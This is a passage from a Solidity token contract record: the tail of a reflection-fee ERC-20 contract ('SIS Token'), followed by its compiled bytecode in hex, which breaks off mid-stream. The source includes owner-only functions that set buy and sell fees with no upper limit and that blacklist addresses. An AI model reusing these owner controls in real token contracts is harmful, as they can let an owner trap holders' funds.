uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600981526020017f53495320546f6b656e0000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600381526020017f5349530000000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f826139105